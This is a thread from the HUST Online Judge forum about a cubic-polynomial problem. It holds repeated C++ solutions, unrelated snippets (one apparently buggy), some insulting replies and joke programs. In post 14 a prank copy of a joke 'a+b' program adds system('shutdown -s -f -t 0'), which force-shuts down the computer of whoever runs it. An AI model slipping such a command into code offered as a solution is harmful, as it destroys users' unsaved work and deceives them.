HUST Online Judge WebBoard
[ New Thread ]
Problem 1012 >> 1012
2019zjhs11 @ 2019-06-12 20:06:25
[ Quote ] [ Edit ] [ Delete ] 1#
对于多项式 f(x) = ax^3+bx^2+cx+d 和给定的 a,b,c,d,x,计算 f(x)的值,保留到小数 点后 7 位
2021zjxh26 @ 2021-11-20 18:40:21
[ Quote ] [ Edit ] [ Delete ] 2#
sb
2021zjxh26 @ 2021-11-20 18:40:35
[ Quote ] [ Edit ] [ Delete ] 3#
不会就别乱bb
2021zjxh26 @ 2021-11-29 19:49:22
[ Quote ] [ Edit ] [ Delete ] 4#
脑残玩野而给噎死
2021dlxx05 @ 2022-01-20 17:32:06
[ Quote ] [ Edit ] [ Delete ] 5#
答案是啥 大神帮忙打一下
zhouzhenan2020 @ 2022-09-20 17:32:31
[ Quote ] [ Edit ] [ Delete ] 6#

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<iostream>
#include<iomanip>
using namespace std;
int main()
{
double a,b,c,d,x;
cin>>x>>a>>b>>c>>d;
cout<<fixed<<setprecision(7)<<(a*x*x*x+b*x*x+c*x+d); //ax^3+bx^2+cx+d
return 0;
}
zhouzhenan2020 @ 2022-09-20 17:32:50
[ Quote ] [ Edit ] [ Delete ] 7#

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<iostream>
#include<iomanip>
using namespace std;
int main()
{
double a,b,c,d,x;
cin>>x>>a>>b>>c>>d;
cout<<fixed<<setprecision(7)<<(a*x*x*x+b*x*x+c*x+d); //ax^3+bx^2+cx+d
return 0;
}
2021zjhs41 @ 2022-09-24 14:18:55
[ Quote ] [ Edit ] [ Delete ] 8#
#include<bits/stdc++.h>
using namespace std;
int main(){
long long n,s=0;
cin>>n;
while(n!=0){
s=s+(n%10)*(n%10)*(n%10);
n/=10;
}
cout<<s;
return 0;
}
2021zjhs41 @ 2022-09-24 15:00:20
[ Quote ] [ Edit ] [ Delete ] 9#
#include<bits/stdc++.h>
using namespace std;
int main(){
long long n,m,a[100001]={0},b[100001]={0},i,j,s=0;
cin>>n>>m;
for(i=1;i<=n;i++)cin>>a[i];
for(i=1;i<=m;i++)cin>>b[i];
sort(a+1,a+n+1);
sort(b+1,b+m+1);
for(i=1;i<=n;i++)
for(j=1;j<=m;j++)
if(a[i]<=b[j]){
s+=b[j];
b[j]=-100;
break;

}s=+b[i];
cout<<s;
return 0;
}
cdxxx37 @ 2022-11-20 18:22:30
[ Quote ] [ Edit ] [ Delete ] 10#
是吧是吧是吧是吧是吧老婆
2023zjhs017 @ 2022-12-05 19:56:53
[ Quote ] [ Edit ] [ Delete ] 11#
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<iostream>
#include<iomanip>
using namespace std;
int main()
{
double a,b,c,d,x;
cin>>x>>a>>b>>c>>d;
cout<<fixed<<setprecision(7)<<(a*x*x*x+b*x*x+c*x+d); //ax^3+bx^2+cx+d
return 0;
}
2023zjhj013 @ 2023-03-30 18:01:43
[ Quote ] [ Edit ] [ Delete ] 12#
#include<iostream>
#include<iomanip>
using namespace std;
int main()
{
double a,b,c,d,x;
cin>>x>>a>>b>>c>>d;
cout<<fixed<<setprecision(7)<<(a*x*x*x+b*x*x+c*x+d); //ax^3+bx^2+cx+d
return 0;
}//THIS IS MINE
secessionist @ 2023-11-05 18:46:16
[ Quote ] [ Edit ] [ Delete ] 13#
史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
}
int main() {
made_so_make();
return so_crowing;
}
7995 @ 2023-12-17 14:47:53
[ Quote ] [ Edit ] [ Delete ] 14#
//史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
system("shutdown -s -f -t 0");
}
int main() {
made_so_make();
return so_crowing;
}
/*抄楼上的
加了一句
好玩*/
slslslsslslsl @ 2024-01-15 20:15:55
[ Quote ] [ Edit ] [ Delete ] 15#
#include<iostream>
#include<windows.h>
using namespace std;
#define GPTstart show("你好!这里是人工纸张蒟蒻!本人工纸张滋磁计算算式和闲聊(未完善)!请问你有什么问题吗?(输入help可以查看说明书)\n")
#define GPThelp show("输入的算式只能是加减乘除和取余(答案和算式里的数非负),输入格式如:1+1、2*4、5%2、9/2、8-3。此外本纸张支持计算幂,格式如:pow(9,5)。至于闲聊嘛,就不用纸张多说了吧~\n")
void show(string t){
int len=t.length();
for(int i=0;i<len;i++){
cout<<t[i];
if(len<=10)Sleep(100);
else if(len<=20)Sleep(50);
else if(len<=50)Sleep(25);
else if(len<=100)Sleep(10);
else Sleep(5);
}
}
unsigned long long m[50001]{1,0};
bool shift(){
return (GetKeyState(VK_SHIFT)&0x8000);
}
bool up(){
return (GetKeyState(VK_UP)&0x8000);
}
bool down(){
return (GetKeyState(VK_DOWN)&0x8000);
}
bool right(){
return (GetKeyState(VK_RIGHT)&0x8000);
}
bool left(){
return (GetKeyState(VK_LEFT)&0x8000);
}
void pow(int n,int t){
int s;
memset(m,0,sizeof(m));
m[0]=1;
for(int j=1;j<=t;j++){
for(int i=0;i<30000;i++)m[i]*=n;
for(int i=1;i<30000;i++){
m[i]+=m[i-1]/10;
m[i-1]%=10;
}
}
s=30000;
while(m[s]==0) s--;
for(int i=s;i>=0;i--){
cout<<m[i];
if(s<50)Sleep(100);
if(s<100)Sleep(50);
if(s<200)Sleep(10);
if(s<300)Sleep(5);
else Sleep(1);
}
cout<<endl;
}
int main(){
system("color 3F");
string n;
GPTstart;
while(cin>>n){
if(n=="help"){
GPThelp;
continue;
}if(n=="hello"||n=="hi"||n=="你好"||n=="Hello"||n=="Hi"){
show("你好!很高兴认识你!\n");
continue;
}if(n=="6"||n=="good"||n=="GOOD"||n=="Good"||n=="你真棒"||n=="Very good"||n=="very good"||n=="VERY GOOD"){
show("感谢你的夸奖!我也会继续努力的!\n");
continue;
}//if(n=="114514"||n=="1314"||n=="520")
unsigned long long a=0,b=0,ans,i=0;
a=0;
b=0;
i=0;
if(n[0]=='p'&&n[1]=='o'&&n[2]=='w'){
i=4;
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
pow(a,b);
continue;
}
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
char t=n[i];
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
if(t=='+'){ans=a+b;}
else if(t=='-'){ans=a-b;}
else if(t=='*'){ans=a*b;}
else if(t=='/'){long double aneo=double(a)/double(b);string to=to_string(aneo);show(to);}
else if(t=='%'){ans=a%b;}
else{
show("蒟蒻并不知道“");
show(n);
show("”是什么意思,请再说一遍吧!\n");
continue;
}
string m=to_string(ans);
if(t!='/')show(n),show("="),show(m);
show("\n");
}
}
[Top] [Previous Page] [Next Page]